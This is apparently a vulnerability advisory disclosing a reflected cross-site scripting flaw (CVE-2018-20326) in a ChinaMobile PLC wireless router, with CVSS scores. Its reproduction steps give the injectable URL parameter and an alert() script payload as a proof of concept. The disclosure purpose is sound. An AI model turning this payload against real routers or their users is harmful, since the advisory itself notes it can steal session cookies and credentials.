PLC Wireless Router GPN2.4P21-C-CN Cross Site Scripting

2018.12.30
Credit: Kumar Saurav
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Exploit Title: PLC Wireless Router GPN2.4P21-C-CN -Reflected XSS # Date: 21/12/2018 # Exploit Author: Kumar Saurav # Vendor: ChinaMobile # Category: Hardware # Version: GPN2.4P21-C-CN (Firmware: W2001EN-00) # Tested on: Multiple # CVE : CVE-2018-20326 #Description: PLC Wireless Router's are vulnerable to a Reflected Cross Site Scripting (XSS).With this attack, the threat actor can steal cookies, session id, username or other sensitive information redirect an innocent victim to a malicious website, thus compromising the user. Reproduction Steps: Step 1: Go to Wi-fi Router Gateway (192.168.59.254 in my case) Step 2: Login as Username and Password Step 3: After Login below url will be shown (http://192.168.59.254/cgi-bin/webprocgetpage=html/index.html&errorpage=html/main.html&var:language=en_us&var:menu=setup&var:page=connected&var:subpage=-) Step 4: Insert the payload "<script>alert("XSS-Saurav")</script>" at the end of the above mentinoed url and hit enter (http://192.168.59.254/cgi-bin/webprocgetpage=html/index.html&errorpage=html/main.html&var:language=en_us&var:menu=setup&var:page=connected&var:subpage=-<script>alert("XSS-Saurav")</script>) Step 5: On execution of the payload, it will be popped up as "XSS-Saurav"


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